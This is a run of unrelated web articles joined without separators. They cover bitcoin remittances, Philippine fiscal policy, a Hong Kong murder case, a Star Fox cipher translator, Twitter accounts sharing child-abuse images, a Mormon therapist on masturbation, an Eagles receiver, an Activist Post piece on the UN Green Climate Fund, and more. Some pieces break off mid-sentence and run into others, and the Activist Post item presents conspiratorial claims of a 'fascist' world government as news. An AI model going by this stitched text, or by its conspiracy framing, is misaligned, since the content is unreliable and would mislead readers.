But much like Blockbuster’s (and banks’) short-sightedness and defensive posturing in the 2000s, Western Union runs the risk of soon evolving into nothing more than a Wikipedia entry. Bitcoin is a technology like video streaming, not a company like Netflix. It’s not trying to preserve revenue or please shareholders. And it won’t fall victim to leadership pulling it into odd markets on a whim.
Bitcoin is a technology that, other than Internet and mobile, could very well end up being the most important we’ve seen in the last several decades.
The drum beating that bitcoin is not safe or trustworthy is, again, an incomplete picture and self-serving. It’s analogousto a horse and buggy manufacturer shouting about safety issues when the car first showed up. “Yeah…but you could drive it really fast and crash it into a tree and die!” Well sure.
The reality is there is lots of innovative work still to be done around creating a completely secure bitcoin experience, but that work is progressing quickly and the world will soon be better for it. When Bank of America dropped tens of thousands of credit cards in the mailboxes of Fresno, Calif., residents in the late 50s, losses were initially extraordinarily high and executives gasped. But commerce and life as we knew it was forever changed.
A couple of years back, Congress introduced legislation, branded as the Durbin Amendment, that was designed to cap the amount of interchange fees that a merchant could be charged by a bank to process debit card transactions. The “intent” was to take some of the excess riches the banks were getting from debit card transactions and return it to the wallets of merchants and hopefully even consumers (in the form of lower pricing).
In practice, what happened is Walmart (which led the Senate lobbying on behalf of the Durbin changes) got massive reduced savings, small businesses missed out, and banks just made up for the lost revenue in other areas like increased checking account and ATM fees. Consumers and families lost out. In the meantime, the remittance market has gone completely unchecked, and that’s been the case for years.
The World Bank estimates that over $450 billion in remittance payments into developing countries will occur in 2015, which is three times larger than the amount of total direct foreign aid that will be sent to those countries. Unfortunately, $36 billion of those payments will never reach the individual or families they were intended to help because of fees that are charged.
The beauty of the advent of bitcoin is there is no need to hope that a centralized government authority tries to “fix” the issue with a faux solution that just shifts dollars around among giant corporations. Bitcoin’s low-cost structure and potential integration capability with all mobile devices eliminates the costs required to support the 80-year-old messenger with a cute hat, and renders the $36 billion in fees totally unnecessary — $36 billion that will do really well in the world.
As this payment revolution becomes the standard and truly improves people’s lives by returning their money back to them, there will be a real test to see what entrenched players learn from their historical brethren about how not only to stay relevant but survive. History has shown that waiting to see what happens or playing defensively will not change the world.Metro Manila (CNN Philippines) — Budget Secretary Florencio "Butch" Abad has urged the new administration to keep its finances in order, as a stable fiscal regime is often overlooked as a key factor in driving economic growth.
Foreign investors are encouraged to put their money in the Philippines when they see the government is responsible with its budget and spends within its means, Abad told CNN Philippines on Tuesday (May 18).
When analysts and credit raters recommend reforms, they always focus on fiscal responsibility and good governance, he added.
The Aquino administration was able to finance its expenditures by collecting taxes aggressively, Abad said. The Bureau of Internal Revenue ran after tax evaders, especially among the professionals and the self-employed. The Bureau of Customs also clamped down on smugglers. The government also raised taxes on sin products.
It also cut costs by tightening procurement rules, managing its liabilities to lengthen maturities and bring down interest rates.
In 2015, the fiscal deficit hit just P121.7 billion or 0.9% of the gross domestic product (GDP). It was half of the P283.7-billion cap the government set for the year, 2% of GDP.
Analysts have criticized the Aquino administration though for being too cautious, causing it to underspend, especially on infrastructure, at some point.
Presumptive President Rodrigo Duterte has promised to make this money move. His eight-point economic agenda outlines plans to ramp up spending for public works, social services and security.
But at the same time, Duterte has also vowed to reform the income tax system, which would effectively lower income taxes for most taxpayers.
Abad cautioned against boosting expenditures while also cutting back on a major source of government revenue at the same time.
"If you have a constant regular revenue stream, you would want to maintain that because that is a guaranteed source of revenue for your expenditure," he said. "If you are going to decrease that revenue stream... then you would need to find other sources of revenues to make up for that loss."
One option for the next administration would be to maintain expenditure levels; another would be to raise taxes. Both are unpopular, Abad said.
The government could also borrow more debt to fund its spending. It won't bite taxpayers now, but all debt has to be paid eventually, he explained.
ING Bank Manila, JP Morgan and Fitch Ratings are just some of the organizations that have emphasized the need for fiscal responsibility to keep the economy going.
The increased revenue take of the government, coupled with restrained spending, allowed the government to attain consecutive credit rating upgrades. Under the Aquino administration, the Philippines was moved up to investment grade — considered by foreign investors as a worthy creditor — for the first time in its history.
An investment grade credit rating allows the Philippine government and local corporations to borrow money from abroad at much lower interest rates. It is also used as a benchmark by investors who are looking for countries to park their capital in.
Power player
Abad, a Liberal Party (LP) stalwart, assured the next administration his party would do what it could to ensure the transition would as smooth as possible.
Despite a hard-fought presidential campaign that saw administration bet Manuel Roxas II come in second in the polls, Abad said the LP was ready to help Duterte.
"We have been able to achieve sustained growth over the past six years and we would certainly like that growth to continue. We are open to working with the next administration to achieve that," Abad said.
He explained that campaigning was divisive, as candidates sought to secure votes against their rivals. But governing is about working together to ensure the country progressed with each new administration.
The LP may no longer be the ruling party but Abad said it would still be a key power broker under Duterte's term.
In the new government, he counted six senators, 115 representatives and more than 40 governors affiliated with LP.
"We are a significant player still," he said.
As for Abad, who closes his term as Budget chief in a month, he said he planned to take a long break after a testing six years.
That being said, he emphasized that public service would always be in his blood.The British banker arrested in Hong Kong for murdering two women in a crime spree apparently inspired by American Psycho left a major clue in his Merrill Lynch email autoreply.
Rurik Jutting was arrested this weekend after police found a dead woman stuffed in a suitcase on the balcony of his high-rise apartment and a second woman dying on his living room floor.
The woman was reportedly alive when police arrived but quickly succumbed to the stab wounds in her neck. Both women were reportedly Indonesian sex workers.
Jutting was reportedly a wealthy jetsetter known for dating "a string of beautiful women in exclusive restaurants across the globe," when he wasn't relaxing on ski vacations or at private members clubs.
But Jutting, who recently quit his job as an equity tader at Merrill Lynch, was pretty explicit about what he was really doing in his email autoreply:
'I am out of the office. Indefinitely. For urgent enquiries, or indeed any enquiries, please contact someone who is not an insane psychopath.'
But despite the disturbing message, police did not begin investigating Jutting until he called to turn himself in Friday.
Jutting was charged with two counts of murder Monday.
[image via AP]Saurian Translator
Saurian Translator v7
Enter text above to convert between English and the fictional Saurian language. Proper nouns can be partially detected if that feature is enabled. To manually define proper nouns, place a backslash (\) character on either side.
About Saurian
Saurian is a cipher language created for the game Star Fox Adventures. The game takes place on a planet called Dinosaur Planet. The natives of the planet (several dinosaur tribes and one mammoth tribe) and Krystal (a blue fox girl) speak in a language that was known as "Dino Language." In later games, the planet was called "Sauria." I coined an unofficial term "Saurian" for the language because it's easier to say.
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A B C D E F G H I J K L M N O P Q R S T U V W X Y Z English
U R S T O V W X A Z B C M D E F G H J K I L N P 0 Q SaurianImage caption The accounts were made public early on Monday morning
Several private Twitter accounts have been disabled after they were revealed to contain indecent images of children.
Some hacking groups are claiming to have unmasked them, the NSPCC said.
Members of the public have reported the accounts to Greater Manchester Police and North Yorkshire Police, while Ceop - the Child Exploitation and Online Protection Centre - says it is "aware".
The NSPCC asked people to "be vigilant" and report such suspicious activity.
Ceop - the policing unit dedicated to eradicating the sexual abuse of children - said it had had 25 to 30 reports of these accounts.
A Ceop spokesman said Twitter had disabled the accounts and would be reporting the find to the National Centre for Missing and Exploited Children (NCMEC) - Ceop's US equivalent - which as an American company it was legally required to.
"NCMEC will forward the account details to law enforcement in the countries where the individual concerned is," he said.
It is unclear whether the images were uploaded by a UK user, or a user based abroad.
The NSPCC said the accounts were made public in the early hours of Monday.
"To be honest, it's not a massive surprise. In our experience sex offenders will use whichever mean they can to connect with each other. They are usually quite devious," a spokesman said.
He asked people to be vigilant.
"It you see something, or are aware of something, you should report it."
As for those people storing such content, Professor Alan Woodward, of the University of Surrey's department of computing, said they were increasingly using social media rather than computers.
"If they use the web to keep any pictures then they will be able to claim it wasn't them. The weight of evidence isn't the same."
Twitter is yet to comment.By Natasha Helfer Parker
I am 29 and have my endowments, but I also masturbate. I feel guilty about it. I’m trying to tell myself it’s OK. But is it?
I am a single LDS woman, age 31, hoping to get endowed soon. The problem is, I have had issues with... well, I am too embarrassed to even type it. I started experimenting [with masturbation] at a fairly young age and continued until about a year ago. I have felt terrible about myself and too humiliated to talk to my bishop about the problem. I continue to postpone my endowment because I feel unworthy, and I’m worried about the interview. I don’t want to miss out on the blessings of the temple because of something like this. I want to do the right thing spiritually as well as take care of myself physically, but how can I do both?
IN 2012, I wrote a blog post at The Mormon Therapist articulating my official stance on masturbation.1 It took me about 10 years to develop this position, drawing on both my perspective as a mental health professional and as a faithful member of the Church. But for a long time, I stayed silent on the subject not wanting to contradict what might be considered church policy, culture, or doctrine. However, I came to the realization that my silence was unethical—especially when I considered the needs of our adolescent and single-adult population. I was being complicit with a structure that caused tremendous pain, unnecessary guilt, ecclesiastical discipline, cultural shaming, marital and sexual repercussions, negative coping, negative self-identity and esteem, and other destructive consequences.
My position is that masturbation is neither sinful nor even a “transgression.” Here is why.
Mormonism holds that God created us as emotional, spiritual, intellectual, and sexual beings. Mormonism also recognizes that both relational connections and independence are essential for spiritual growth. The social and psychological sciences agree: we are social creatures meant to thrive in relationship with others. However, we are also individual entities—and when we’re not able to be in a relationship, we have the capacity to meet our own needs for certain periods of time depending on our age and developmental stage. Through the studies of pediatrics and human sexuality, we know that genital stimulation is normal behavior for children.2 Combining this knowledge with the LDS doctrine that children are innocent, I believe we need to reconsider some of our ideas about masturbation.
We are born and die sexual beings. Currently, Mormon teachings hold that sexuality should only be explored within marriage. However, the opportunity for marital sexuality only occurs during a particular period of adult life—if it occurs at all. A significant portion of one’s life may be spent in a situation where marital sexuality is not an option—and expected asexuality should not be considered a healthy alternative. In order to accommodate and even benefit the inherent sexuality of each of God’s children, we need to reframe our current conceptions of masturbation. Instead of casting it as a sinful, perverse, or degrading practice, we can see it as a God-created, self-regulatory system that can provide some of the benefits of sexuality for periods when we are not in a sexual relationship with another person.
Our sexual drive is a God-given process that leads most human beings to self-explore from an early age. This experimentation helps us get to know our own anatomy, develop a capacity for sexual fantasy, and self-soothe—all in preparation for sharing a sexual life with another person. The teaching of healthy masturbation could be used to help our teens and single adults learn to be sexually responsible, empowering them to learn about and control their sexual drives and cycles while owning their sexuality without shame. Masturbation could be seen as a legitimate way to meet one’s sexual needs while staying within religious sexual parameters and values.
There are many benefits associated with sexual release that are important to experience regardless of marital status. Sexual pleasure and orgasm have been linked to stress relief, pain relief (including menstrual cramping), hormonal regulation, the prevention of certain cancers, and the lowering of loneliness, depression, and anxiety levels.3 It can help women who struggle to reach orgasm in a relationship to find their sexual capacity. It can also help married couples manage libido differences and add variety to their sex lives. Plus it is the safest sex around—no unintended pregnancies, STDs, or harmful emotional repercussions. These are just some of the many positive results that come from the healthy use of masturbation.
It is true that, like any normal human activity, masturbation can become an unhealthy behavior. Eating, sleeping, and eliminating have a similar potential, but we don’t couch them as being sinful. If masturbation interferes with one’s daily functioning or the quality of one’s relationships, its use should be moderated. And certainly, I do not want to minimize the suffering of those who have struggled in a marriage where their spouse has withdrawn sexually in part because of an unhealthy masturbation habit. But I believe unnecessary masturbatory shame and unmet attachment needs are at the core of most of this unhealthy behavior to begin with—not masturbation itself. And the current fear-based rhetoric on this issue leads to spouses feeling unnecessarily threatened in their relationship.
At the time I wrote my initial blog post, I had not heard anything official over the pulpit on this topic for over 20 years, so I expressed my hope that Church leaders were stepping away from old teachings. Unfortunately, I have seen a recent re-trenching toward the old language of “self-abuse”—specifically by Tad R. Callister (now a member of the presidency of the Seventy) who spoke on the issue at a BYU-Idaho fireside. A version of his talk was then published in the Ensign.4 However, the Church has moved away from many of its early to mid 20th century stances (i.e. masturbation leads to homosexuality, insanity, etc.).5 The word “masturbation” has been taken out of the For the Strength of Youth pamphlet6 and it no longer shows up in the official handbooks, leading me to believe that bishops should not be asking about masturbation in their interviews, and that one has a right to refuse to answer such questions.
During the past 17 years, I have spoken to numerous bishops, stake presidents, Relief Society presidents, and high councilmen attempting to piece together an official stance on this matter. The answers I received depended largely on which leader I approached and what their experience had been with their past leaders—all differing from one another.
This lack of unanimity gives rank-and-file members vastly different experiences depending on who their leaders are. For example, I know many men who have been kept from serving a mission for masturbating (even though they have kept a virginal sexual status), while for many others this has not been a problem. Oftentimes men are asked about masturbation in their interviews while women are not—expanding or contracting the options they might have for missionary and other types of service. I have come across a variety of members who view moderate masturbation as an “addiction” and are consequently employing recovery services and attending groups for correcting such behavior—often referred there by their ecclesiastical leaders. I’ve had numerous clients disclose that they are “cutting” (true self-abuse) due to their guilt over masturbation—again, usually virgins. Often Church members will frame any masturbation as problematic behavior.
All of this negativity has its roots in our current rhetoric around masturbation. In my experience, such rhetoric is emotionally and spiritually abusive and leads to negative psychological and sexual repercussions that are unnecessary and sometimes tragic.
As far as a temple recommend interview is concerned, its questions are simple, specific, and to be repeated just as they are written. The person interviewing you is not supposed to deviate from them. The one question that deals with sexuality is: “Do you live the law of chastity?” That’s it. No questions on how you follow it or whether or not you are masturbating. Furthermore, in the temple, “the law of chastity” is defined as covenanting to only have sexual relations with one’s spouse. “Sexual relations” is clearly stated in terms of relationship. Masturbation is an individual practice that only becomes relational once you’re married and establish sexual parameters with your spouse. A priesthood authority does not have the right to ask about masturbatory practice without due cause (i.e. if you have brought the issue up yourself). If an authority figure does ask such a question, it is a good opportunity to honor your own boundaries and say you are uncomfortable with their line of questioning. The lack of boundaries within Mormon interview culture, especially when it comes to sexuality, can lead to both intentional and unintentional ecclesiastical abuse.
The most important thing to consider in this situation is where your authority lies in all of this. How do you apply your spiritual principles and beliefs in regards to the choices you are making? For example, when someone speaks to me of the relief they felt after reading my blog post, I want to ask them where their trust is in their feelings and ability to discern truth. Where does the good fruit of the tree grow for them?
I don’t mean to blame the victim by any means. We live in a conservative religion that places much of its focus on outward behavior. So when we have questions, most of us expect to find solid, behavior-based answers. Unfortunately this often leads us to surrender our personal authority, and that authority is an important facet of healthy psychological and spiritual development. When approaching difficult questions, remember that nestled deep within Mormonism is the wonderful gem of personal revelation—of our individual relationship with God. Claim this truth; stake out your own path according to its direction. It may vary somewhat from the paths of those who walk alongside us, but trust yourself, trust in your unconditionally loving Heavenly Parents, trust in the atonement, trust in transcendence. Time and time again I witness good women and men in our church being blocked from a deeper relationship with the divine by what they deem a deviation from “appropriate behavior.”
Feelings of unworthiness usually come from two different sources:
The appropriate pricks of guilt that follow behavior or thoughts which are harmful to self or others such as cheating, stealing, gossip, abuse, uncontrolled anger, or drug abuse. The inappropriate shame tied to either taboo cultural subjects of questionable “sinfulness” (i.e. an Amish woman caught wearing blue jeans) or past sinful behavior one has repented of but can’t self-forgive.
Guilt doesn’t always come from a healthy source. Our responsibility is to figure out when guilt is healthy—usually when it motivates us, propels positive lifestyle change, and draws us closer to God—and when it needs to be abandoned.
During a temple recommend interview, it is not your relationship with the bishop that is primary; it is your relationship with divinity. If you can feel good about yourself from a standpoint of eternal progression—meaning that you fall within a spectrum of imperfection while striving to move forward—then you are on the right track. If, in a context of prayer, meditation, and divine connection, you feel that your use of masturbation is a healthy, balanced means toward an eternal goal, continue.
Whether you agree or disagree with my position, I wish you well on the journey of making your own spiritual decisions and accepting yourself along the way. May you stretch toward a higher plane and cultivate a deeper connection with God in the process.
NOTES
Natasha Helfer Parker, “My Official Stance on Masturbation,” The Mormon Therapist, http://www.patheos.com/blogs/mormontherapist/2012/08/my-official-stance-on-masturbation.html (accessed 3 March 2015). “Masturbation,” HealthyChildren.org, http://www.healthychildren.org/English/ages-stages/gradeschool/puberty/Pages/Masturbation.aspx (accessed 3 March 2015). “Masturbation,” Planned Parenthood, http://www.plannedparenthood.org/health-info/sexuality/masturbation (accessed 3 March 2015). Tad R. Callister, “The Lord’s Standard of Morality,” Ensign, March 2014, https://www.lds.org/ensign/2014/03/the-lords-standard-of-morality?lang=eng (accessed 3 March 2015). “Historical Development of Masturbation Attitudes in Mormon Culture: Silence, Secular Conformity, Counterrevolution, and Emerging Reform,” Sexuality & Culture, Fall 2005, Vol. 9, No. 4, pp. 80–127. “Purity,” For the Strength of Youth, https://www.lds.org/youth/for-the-strength-of-youth/sexual-purity?lang=eng (accessed 3 March 2015).GRAND RAPIDS, Mich. – The Humane Society of West Michigan is in need of food donations for its hundreds of cats and dogs.
This week, the organization began running low on canned food. One of the employees we spoke to said that without donations, they’re likely to run out of food.
“When we have almost 300 animals in our care you go through it quicker than you would expect,” Nicole Cook, an employee with the humane society, said.
While visiting the animals, FOX 17 got to see first hand just how important those donations really are. Two barrels, which are usually filled to the top with food, contained no more than 20 cans each.
“We’re completely donor funded. So all of our money and support is right here in our community,” Cook said.
Cook said workers can buy some canned food for the animals, but that the money would be taken from their funds, which are often times needed for other means of caring for the pets, such as when they need medical treatment.
The animals aren’t picky when it comes to a certain brand of food. They just need it to come in a can.
“The important thing with canned food is that it’s full of nutrients and gives them that extra capability to keep sustaining when they’re in our care,” Cook said. “It gets stressful here so we want to make sure we reinstate that supply here, quickly.”
The animals are also in need of toys.
If you want to donate canned food or toys you can drop your gift off to the Humane Society of West Michigan. Or, you can also purchase items from the organizations Amazon Wish List and send it to them directly.
Back in May, FOX 17 reported on problems facing animals in Calhoun County. A group there is also seeking assistance.If City of Toronto managers had gone on the old Oprah Winfrey Show, she could have said, “YOU get a bonus and YOU get a bonus and YOU get a bonus, EVERYBODY gets a bonus!”, without having to pay any bonuses.
That’s because Toronto property taxpayers give them a bonus ever year, to the tune of $11.3 million in 2016 alone.
Last year, of 4,400 non-union managers at City Hall, only 14 didn’t get a bonus, which came on top of the 1.25% cost-of-living increase all managers received.
The vast majority, 3,577, received a 2.5% bonus, basically for doing their jobs.
Another 671 received a 4.5% bonus for exceeding expectations and 137 received a 1% bonus for kind of, |
way for people to dodge the issue instead of confronting it. The unfortunate truth is that males can be raped and are often raped by females. It may be difficult for people to understand how it happens because as a society we do not talk about it, yet that does not mean it does not occur.
Invincible #110 provides an insight into what it could look like. One could replace the woman’s superior strength with a weapon or one could imagine the victim being a boy, and that would make it easier to see what female-on-male rape looks like. If Kirkman sticks to his word, we will see how it affects Mark Grayson’s life both in and outside the costume.
Kirkman also addressed the idea of triggering victims with the scene, another issue frequently mentioned whenever anyone depicts sexual violence in fiction:
Sure, you always run the risk of doing that any time you depict any kind of heavy emotional [event]. People have bad breakups with their girlfriends and then they read that kind of stuff in comics. People lose family members and then they read a comic where someone loses a family member and everyone’s always dealing with some kind of traumatic event. We basically live in the spaces between traumatic events, when it gets down to it. As long as you handle things tastefully and really do your research and try to make sure you’re aware of certain situations and how people handle them and you do things as tastefully as possible, I think it could possibly help someone that’s going through an event to see these kind of things. But I would never shy away from a story because I thought I might offend somebody or something like that. Then, I would never tell any story.
That is the response every writer should give whenever questioned about triggering victims. No one thinks twice about showing the Waynes dying in an alley despite that plenty of readers’ parents may have been murdered. No one thinks twice about showing some character being beaten to a pulp despite plenty of readers potentially experiencing the same violence. Every act of violence appears fair game, including child abuse, except for rape.
Speaking as a survivor of sexual violence, I do not think the topic should be dodged because some people cannot handle hearing, reading, or seeing anything about it. Fiction is a powerful tool that allows us to examine social problems from all angles. Avoiding or forbidding certain topics does no one any good. Talking about them can help those who suffered those problems find a way through them.These conditions have meant that fire risk has been extremely high - and one small spark has the potential to grow into a raging bushfire.
The 2009 Black Saturday bushfires in Victoria were also preceded by extreme fire danger conditions: a decade-long drought and a number of record hot years, all compounded by a heatwave in the week prior. The ferocity of these fires was unprecedented, and so severe were they that they broke the record for the Forest Fire Danger Index, and a new category - ''catastrophic'' or ''code red'' - was added.
Worryingly, since 2009, we have experienced more days of ''catastrophic'' fire danger, and this number will very likely increase in the future. Fire frequency and intensity is also predicted to increase in already fire-prone areas - areas in which a large proportion of the Australian population lives.
We are now also seeing the season of bushfire weather lengthening from October to March, and this will continue to extend in future. This means that there will be less opportunity to conduct hazard reduction burning safely.
Protecting life, property, and other assets will become more difficult as Australia's climate continues to change. Emergency services will be put under significant strain to meet this rising demand, and it has been estimated that by 2030, the number of professional firefighters will need to be more than double that in 2010, if we are to keep up with the increase in fire danger weather, alongside population and asset growth.Speedy Eagles receiver Bryce Treggs, who hasn’t yet been active for a game, could be soon.
Treggs said after practice Thursday he got more reps with the first-team offense this week than he has all year.
“Way more,” Treggs said. “I feel like they’re comfortable with me now, where they don’t have to tell me what to do. I know the plays and I know where to be.”
Does that mean Treggs will make his NFL debut against the Vikings Sunday? Not necessarily. But it does mean he’s at least on the Eagles’ radar.
Treggs began his rookie preseason with Chip Kelly and the 49ers but didn’t play during the preseason because of a preexisting knee injury.
When the 49ers released him as part of final cuts, the Eagles claimed him. He was cleared medically last month and has been gradually learning the Eagles’ offense since. He’s been on the 53-man roster all year but inactive for all five games.
Treggs has 4.31 speed and ranked eighth in NCAA Division I last year with 21.2 yards per catch as a senior at Cal.
Treggs potentially could give the Eagles something they’ve lacked all year: a deep threat.
The Eagles have connected on just eight pass plays of 25 yards or more this year, and only five NFL teams have fewer.
Jordan Matthews has four of those, and running back Darren Sproles has two, which leaves just two for the rest of the Eagles’ other wideouts — one for Nelson Agholor, one for Dorial Green-Beckham and none for Josh Huff.
The Eagles have been using Green-Beckham more and more each week — he played a season-high 42 snaps in the loss to the Redskins Sunday.
Agholor has been a disappointment, with just 16 catches for 181 yards this year, no catches over 35 yards and no catches of 20 yards since opening day. In 18 NFL games, the former first-round pick has never had 65 yards in a game.
Treggs said he feels comfortable with both outside spots and the slot and has gotten practice reps at all three spots this week.Why Quitting is Perfectly Okay.
It’s always the same story for me: I start a project, a class, an idea, or a story. I eagerly rush in, align my pencils, lay out my notebooks, and make delirious plans in my calendar.
Sarah Kathleen Peck Blocked Unblock Follow Following Nov 20, 2014
That first day, ideas and dreams pour out of me.
Then four days pass. I waver, tired. My calendar seems oppressive. The new habit loses its stickiness against the watery pulse of time and circumstance.
I lose another day, a week, and slip behind.
Last Spring, I started Hannah Marcotti’s beautiful Spirits of Joy and did ten days of paper crafting, collage making, glue bending. The drawing ignited in me a new set of doodles; the ripped paper and tacky glue nudged the sleepy muse inside of me.
And I ran from the class to my journals, getting lost inside of my own writing project. The crafts lay quietly on my desk for the next three weeks.
I used to beat myself up for not finishing things. Like the fits that “Crazy Eyes” has in Orange is the New Black, I’d cringe and mentally beat myself up each time I found another project laying around the house, paused or half-done.
It was a pattern so familiar, I started to observe it.
What was happening? Why was I quitting?
Life happened.
Things got hard, they got rough: deadlines built up. Real work pulled me in. The need to take a run and take care of my body surfaced. The competing pulls of attention and focus and deadlines wrapped me in their compelling arms.
But something else was happening, too. Ten days of paper-crafting with a beautiful spirit course led me to building an entirely new online program of my own.
Skimming the lessons in a business-building mastermind opened up a new way of creating sales pages. Reading half of a book propelled me into my next project.
And then it hit me: what if I was getting exactly what I needed?
What if I was getting exactly what I needed? These courses and events served as inspiration for my soul, and my soul nudged me when it was time to begin working.
Like a creative coach blowing the whistle, she stood on the sidelines while I soaked in knowledge until they stepped in and said, “Okay, Sarah, go make that thing. You heard the whisper. Now make.”
What if my ego was the only part of me that really cared about finishing?
You don’t have to do everything to get something out of it.
Twelve half-finished books is still reading six full books. (Many books are inflated lengths anyways and should be shorter). Some things are meant to be finished. And some things don’t need to be finished.
You don’t have to finish your meal. (In fact, not finishing might be better for you). Or your art project. Or the class you signed up for after you get exactly what you need out of it.
We think we know what we need in advance.
The more I plan in advance and then later watch my life take shape completely differently than my plans, the more I realize that planning ahead can be a flimsy wish at best.
It gets our foot in the door. We often underestimate how much time things take, or assume we know all the steps we’ll take before we get started.
You can pause. You can wait. You can enjoy the space. You can quit.
You are allowed to leave things half-finished and undone. You can walk away.
Writers who join my programs always fall down. This is life, it happens: we get sick, we get tired, we have late nights. Instead of beating yourself up, I remind them to build in “life” days.
Want to blog? Make a plan to do it weekly, with a free pass to skip one week a month for when life gets a bit frenetic.
No one said you have to get 100% done and be perfect to enjoy the fruits of your progress. In fact, if you write two essays, that’s more than zero.
Somewhere in the quest for perfect, we forget to acknowledge that something is better than nothing.
An apple is better than no apple. A walk is better than sitting. Sometimes, some days, I say to myself, just walk around the block. Just write a little story. Just make a couple of lists.
And here’s the secret grace: when you let go, you make space to return.
When I feel the pull again, I get that half-finished notebook of Hannah’s off my shelf. I collect magazines and glue, snippets and scraps, words and graphite. I work into the late evening, wine by my side, lost in messy piles.
My book, a 30-day project, might take me 180 days. I may never finish. What I need is not a 30-day check mark of completion, but the grace to return to crafting whenever my soul calls for it.
And what if, instead of a routine, you let yourself come back in?
I always hear new writers tell me stories about giving up after failing to stick to a routine (the same is true for people beginning a new exercise routine).
But what if, instead of betting yourself against a routine, failing, and then quitting — instead you took a breath on the off days and let yourself come back in?
Like writing morning pages to warm up for writing, the little movements are what bring us back in to our greater works. The biggest dreams are sometimes the hardest to start.
It’s hard to feel progress in the tiniest of moments, but it’s not about the goal. We can’t fathom the experience in its entirety. The peak is a representation of the work, a moment.
By letting go of the deadline, the need for perfection, my ego’s need to complete everything I’ve started, I allow myself the space to come back in.
Because it’s always about making.
Come back in.
Come back in. Whenever you want.Activist Post
Fox News is reporting that the Green Climate Fund, created by the UN’s Framework Convention on Climate Change (UNFCCC), is seeking full diplomatic immunity from “any kind of legal process, including civil and criminal prosecution, in the countries where it operates.”
The U.N. enacted the legal framework for the private-public fund at the Copenhagen Accord in 2009, but it was ratified last year during COP-17 in Durban, South Africa. The fund, controlled by a 24-nation board of trustees, received $30 billion in start-up money from U.N. member nations.
The function of the Green Climate Fund is to be the facilitator of money between countries. According to Wikipedia they will act “as a mechanism to transfer money from the developed to the developing world, in order to assist the developing countries in adaptation and mitigation practices to counter climate change.”
In other words, they are the group that decides where the money gets distributed. Clearly an outfit like this handling such large sums of money would be ripe for corruption. And perhaps that’s why they seek this broad immunity before the wealth transfers begin in earnest. Why else would any organization request immunity if they weren’t anticipating injustices in the actions they take?
Their stated objective is to mobilize $100 billion in annual funds. They admit, however, that there’s “a lot of uncertainty where this money would have to come from.” Yet, they have outlined several potential sources of funding that further blends an already dubious relationship between governance and big business.
Potential sources for raising these funds include:
1. Public sources: The national governments could generate new incomes through the introduction of several new taxes, the removal of subsidies for fossil energy and the auctioning of emission allowances. These new forms of income could be added to the direct budget contributions by the national governments.
2. International development bank loans: These would form a leverage by channeling the funds that were raised by the other (potential) sources specified. They should be seen as a ‘secondary source/channel for generating additional flows, rather than as a separate source in their own right’.
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Download Your Free Copy of Counter Markets 3. Carbon markets: purchases of offsets in developing countries: ‘The potential scale of these resources is dependent on the stringency of the emissions reduction commitments of developed countries, on carbon market design and on the availability of eligible emissions reductions in developing countries.’
4. Private sector flows to developing countries: ‘The magnitude of flows would likely be higher, the better the investment climate in the developing country.’ Furthermore, ‘developed country policy actions, as well as the multilateral development banks, the United Nations and the investments and instruments of bilateral agencies, can catalyse and foster additional private sector flows’ (Source)
This type of unaccountable fascist organization has become the hallmark of what passes for governance these days. A marriage between elite money changers and public policy makers where the wolves are always guarding the hen house.
Recently, a U.N. policy paper outlined the building blocks for a world government and suggested it should be “heavy-handed (in its) transnational enforcement powers.” The excuse for building this fascist (corporate-run) world government with heavy-handed powers is of course to combat climate change. So it’s no surprise that this request for immunity should arise at the same time.
Avoiding The Eye - Ships Free Today! The Green Climate Fund, as well as the pending world government, does not want to have to answer to any other authority, especially the people they intend to tax and govern. In other words, they want to be above the law. We should all be wary of any organization seeking to be immune from any future injustices. It just seems to be an excuse to get away with murder and fraud. Read other articles by Activist Post here. You can support this article by voting on Reddit: http://www.reddit.com/r/conspiracy/comments/re4xd/green_climate_fund_wants_immunity_from_any_kind/ var linkwithin_site_id = 557381; linkwithin_text=’Related Articles:’Northwestern University needs the help of fathers with young children for ongoing research it’s doing to better understand how modern dads are involved in their children’s health care.
They may even pay you for your assistance.
The Chicago-based institution wants to add to and improve upon information it has previously collected from fathers on the subject, according to Dr. Craig Garfield, an associate professor of pediatrics and medical social sciences with the university’s Feinberg School of Medicine.
“We have published data from interviews with a diverse sample of fathers wherein they describe their involvement in the health of their children. It goes MUCH BEYOND simply taking their child to the doctor,” he wrote in an email to City Dads Group. “So we are taking these themes and building a survey around them that could be used in other studies to more accurately define and measure father involvement in health. No one has ever done this before. As such, we need to make sure our questions make sense to the fathers and that what we are actually measuring is what we think we are measuring.”
Northwest researchers are looking for fathers of children ages 3 through 5 to:
Fill out the Northwestern University Fathers’ Involvement in Healthcare Study survey at Fatherinvolvement.weebly.com. It should take less than 10 minutes..
Participants deemed eligible, based on the survey results, we be asked to participate in a 45- to 60-minute telephone interview with the research team. Anyone who completes the phone interview will receive a $20 Amazon card.Cyborg Cop 2 is the special kind of terrible movie that has failed before you’re even done reading the title. That’s right folks, Cyborg Cop 2 does not even manage to contain a single cyborg cop. Technically, the main character, Jack Ryan (before his shadow was recruited) is a DEA agent, so he is actually neither a cyborg nor a cop.
The second thing we should tell you about Cyborg Cop 2 is that multiple characters wear gigantic fanny packs all the time. Like the kind a tourist without any dignity would wear instead of just sporting a sandwich board that says “Please pickpocket me and my idiot family.” The fanny packs are never addressed or commented on. Perhaps they are meant to distract from the fact that there is not a cyborg cop in the movie Cyborg Cop 2.
None of the RiffTrax performers have seen Cyborg Cop 1, nor have any members of the writing staff seen Cyborg Cop 1, yet we were able to follow the plot fairly well. This is not meant to imply that we did not have any questions. We did, namely “So is the cop a cyborg?” and “Seriously, is there a cyborg cop in this thing or not?”
Take David Carradine’s Future Force, remove the robotic remote controlled arm as it makes the cop too much like a cyborg, and you’ve got Cyborg Cop 2. Strap on your fanny pack and join Mike, Kevin, and Bill for low budget action cheese at its finest.
Note: contains some pointless nudity.This is a timeline of major events in the History of Jerusalem; a city that had been fought over sixteen times in its history.[1] During its long history, Jerusalem has been destroyed twice, besieged 23 times, attacked 52 times, and captured and recaptured 44 times.[2]
New Kingdom at its maximum territorial extent in the 15th century BCE
The Levant showing Jerusalem in c. 830 BCE
Neo-Assyrian Empire at its greatest extent
Achaemenid Empire under Darius III
Canaanite and New Kingdom Egyptian period [ edit ]
Neo-Assyrian and Neo-Babylonian Empires period [ edit ]
Illustration from the Nuremberg Chronicle of the destruction of Jerusalem under the Babylonian rule
Persian (Achaemenid) Empire period [ edit ]
Hellenistic Kingdoms ( Ptolemaic Seleucid ) period [ edit ]
Kingdoms of the Diadochi and others before the battle of Ipsus, c. 303 BCE
The Seleucid Empire in c. 200 BCE
Hasmonean Kingdom at its greatest extent under Salome Alexandra
